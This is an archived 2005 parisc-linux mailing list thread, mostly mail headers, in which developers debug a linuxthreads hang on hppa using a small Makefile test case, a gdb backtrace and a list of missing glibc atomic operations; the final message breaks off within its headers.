Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02718-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 14:25:29 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 9B8097D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:25:29 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJH5S-0002PB-00; Wed, 06 Apr 2005 16:25:18 -0400
Content-Disposition: inline
In-Reply-To: <200504062012.j36KCW74007167@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: liAmYhYReSE5+76WZHQhaXN2IGRvb8Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22582

On Wed, Apr 06, 2005 at 04:12:31PM -0400, John David Anglin wrote:
> > I found another program that doesn't work on hppa. This one was written
> > by Randolph if my memory serves me correctly. I'll have to add it to the
> > userspace tests that fail.
> > 
> > ---
> > all: foo.c libfoo.c
> > 	gcc -g -shared -c libfoo.c
> > 	rm -f libfoo.so
> > 	ln -s libfoo.o libfoo.so
> > 	gcc -g -o foo foo.c -lfoo -L. -lpthread
> > 
> > clean:
> > 	rm -f *.o
> > 	rm -f *.so
> > 	rm -f foo
> 
> The test can be simplified.  You don't need libfoo.  Just
> link foo with -lpthread and it fails.
> 
> I see libtcl8.4 is linked against libpthread.so.  This is probably
> why 8.3 works better than 8.4.
> 
> dave@hiauly6:~/gcc_test/pthr/carlos$ ./foo
> Parent = 24778
> Exiting on signal from child
> Waited for child 24779
> Quit (core dumped)
> 
> (gdb) bt
> #0  __unregister_atfork (dso_handle=0x40184b58)
>     at ../linuxthreads/sysdeps/unix/sysv/linux/unregister-atfork.c:28
> #1  0x4016ede0 in __pthread_wait_for_restart_signal (self=0x40184b80)

I just want to comment first that in Randolph's testcase we are also
waiting for a restart signal as we are here, but we never receive the
signal.

We tracked this down to some "dequeue" from the signal waiting queue
that just seemed to return zero as if the thread had already been
dequeued. Perhaps this *is* all just a sign of missing atomic
operations.

I'm adding them in right now, I'll run this test under the new glibc and
see what happens.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 16:28:00 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20050406202800.GC1833@baldric.uwo.ca>
References: <20050405060051.GJ1833@baldric.uwo.ca>
	<200504062012.j36KCW74007167@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623743 13709 80.91.229.3 (22 Nov 2014 02:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 20:28:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 06 Apr 2005 22:28:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 851D87D6A5;
	Wed,  6 Apr 2005 14:28:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03069-07; Wed, 6 Apr 2005 14:28:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 023A67D6A8;
	Wed,  6 Apr 2005 14:28:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A388E7D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:28:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03011-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 14:28:09 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 32A3B7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:28:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJH84-0002Pe-00; Wed, 06 Apr 2005 16:28:00 -0400
Content-Disposition: inline
In-Reply-To: <200504062012.j36KCW74007167@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NyMmYohIeSE5+76WZHQhaXN2IGRvb4DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22583

On Wed, Apr 06, 2005 at 04:12:31PM -0400, John David Anglin wrote:
> > I found another program that doesn't work on hppa. This one was written
> > by Randolph if my memory serves me correctly. I'll have to add it to the
> > userspace tests that fail.
> > 
> > ---
> > all: foo.c libfoo.c
> > 	gcc -g -shared -c libfoo.c
> > 	rm -f libfoo.so
> > 	ln -s libfoo.o libfoo.so
> > 	gcc -g -o foo foo.c -lfoo -L. -lpthread
> > 
> > clean:
> > 	rm -f *.o
> > 	rm -f *.so
> > 	rm -f foo
> 
> The test can be simplified.  You don't need libfoo.  Just
> link foo with -lpthread and it fails.
> 
> I see libtcl8.4 is linked against libpthread.so.  This is probably
> why 8.3 works better than 8.4.
> 
> Does this help?

It helps in the sense that we can distill the testcase down futher. It's
clearly some race in the resume suspend path, but the problem eludes me
right now.

Distilling this into a non-linuxthread testcase is the utmost priority.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 15:36:04 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <20050406193604.GZ1833@baldric.uwo.ca>
References: <20050406181337.GX1833@baldric.uwo.ca>
	<200504061837.j36IbnWI006770@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623743 13710 80.91.229.3 (22 Nov 2014 02:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 19:36:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 06 Apr 2005 21:36:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B9897D6A8;
	Wed,  6 Apr 2005 13:36:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02169-09; Wed, 6 Apr 2005 13:36:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B0CA7D6A3;
	Wed,  6 Apr 2005 13:36:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A819E7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 13:36:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01995-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 13:36:19 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 102A27D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 13:36:19 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJGJp-00027w-00; Wed, 06 Apr 2005 15:36:05 -0400
Content-Disposition: inline
In-Reply-To: <200504061837.j36IbnWI006770@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E18mYgoYeSE5+76WZHQhaXN2IGRvb8DF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22584

On Wed, Apr 06, 2005 at 02:37:49PM -0400, John David Anglin wrote:
> > We still have the problem of a *stuck* thread using linuxthreads.
> > Which we don't have a clear solution for...
> 
> It's my belief that expect/tcl has a similar problem, so the problem
> likely isn't specific to linuxthreads.  Expect definitely doesn't use
> linuxthreads.  This affects GCC and binutils testing so I rate fixing
> this as extremely important ;^)
> 
> The problem also affects java.  I often have to manually kill various
> java processes after a GCC test run completes.  At the moment, locking
> isn't atomic in java.  I wonder if we are being bitten by the glibc
> routines that still aren't atomic.

We are missing all sorts of atomic support in libc.

Adding support would require a forced min_kernel_version bump up to the
point where light-weight syscalls (CAS) exists, and the DoS for the
gateway page was fixed.

Would you like me to go ahead and do this, then roll a new glibc deb?

Here is a brief summary of what glibc needs:

===================
Atomic Definitions:

sysdeps/hppa/atomicity.h
  exchange_and_add
  atomic_add
  compare_and_swap
	= These three are phased out in favour of atomic.h

sysdeps/hppa/bits/atomic.h
  atomic_compare_and_exchange_val_acq
  atomic_compare_and_exchange_bool_acq
	= New atomic requirements for glibc

===================
Atomic Extensions using CAS:

include/atomic.h
  = This file builds everything based on
    atomic_compare_and_exchange_bool_acq

sysdeps/generic/bits/atomic.h
  = hppa uses this file right now.
  = Would have bee nice to have gotten a warning
    here.
  = non-atomic versions used.

===================
Atomic Uses:

Range from everything to the wakeup of threads from a queue using
atomic_increment and atomic_decrement (evaluates to a variant of
atomic_compare_and_exchagne_val_acq from include/atomic.h), to the 
change of a value in a semaphore.

===================

I've neglected this because in the past the required CAS didn't exist
and it was impossible to do in userspace. Time to test it all out.

c.



c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 15:36:38 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20050406193638.GA1833@baldric.uwo.ca>
References: <20050406181337.GX1833@baldric.uwo.ca>
	<200504061837.j36IbnWI006770@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623743 13716 80.91.229.3 (22 Nov 2014 02:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 19:36:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 06 Apr 2005 21:36:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A0E27D6A3;
	Wed,  6 Apr 2005 13:36:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02572-05; Wed, 6 Apr 2005 13:36:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDA5F7D6A4;
	Wed,  6 Apr 2005 13:36:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B8427D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 13:36:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02460-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 13:36:46 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8F7137D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 13:36:46 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJGKM-00028A-00; Wed, 06 Apr 2005 15:36:38 -0400
Content-Disposition: inline
In-Reply-To: <200504061837.j36IbnWI006770@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AF8mYo9jeSE5+76WZHQhaXN2IGRvbwCw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22585

On Wed, Apr 06, 2005 at 02:37:49PM -0400, John David Anglin wrote:
> > We still have the problem of a *stuck* thread using linuxthreads.
> > Which we don't have a clear solution for...
> 
> It's my belief that expect/tcl has a similar problem, so the problem
> likely isn't specific to linuxthreads.  Expect definitely doesn't use
> linuxthreads.  This affects GCC and binutils testing so I rate fixing
> this as extremely important ;^)

We might have multiple problems :)

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 16:52:22 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200504062052.j36KqMeg007382@hiauly1.hia.nrc.ca>
References: <20050406202517.GB1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623744 13718 80.91.229.3 (22 Nov 2014 02:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 20:53:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 06 Apr 2005 22:53:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB2857D6AC;
	Wed,  6 Apr 2005 14:52:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03379-05; Wed, 6 Apr 2005 14:52:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52FDF7D6AF;
	Wed,  6 Apr 2005 14:52:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D3357D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:52:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03375-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 14:52:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E13DC7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:52:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j36KqMhF007383; Wed, 6 Apr 2005 16:52:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j36KqMeg007382;
	Wed, 6 Apr 2005 16:52:22 -0400 (EDT)
In-Reply-To: <20050406202517.GB1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 6, 2005 04:25:17 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eCkmYg0/eSE5+76WZHQhaXN2IGRvb4Dx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22586

> > #1  0x4016ede0 in __pthread_wait_for_restart_signal (self=0x40184b80)
> 
> I just want to comment first that in Randolph's testcase we are also
> waiting for a restart signal as we are here, but we never receive the
> signal.

I believe that __pthread_wait_for_restart_signal is called twice in
the testcase.  We hang the second time around.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 22:45:06 -0400 (EDT)
Lines: 116
Approved: news@gmane.org
Message-ID: <200504070245.j372j6YF008446@hiauly1.hia.nrc.ca>
References: <200504062012.j36KCW74007167@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623744 13721 80.91.229.3 (22 Nov 2014 02:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Apr 2005 02:46:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 07 Apr 2005 04:46:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D51177D6AF;
	Wed,  6 Apr 2005 20:45:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04570-01; Wed, 6 Apr 2005 20:45:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AD7F7D6A4;
	Wed,  6 Apr 2005 20:45:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E92DD7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 20:45:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03748-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 20:45:41 -0600 (MDT)
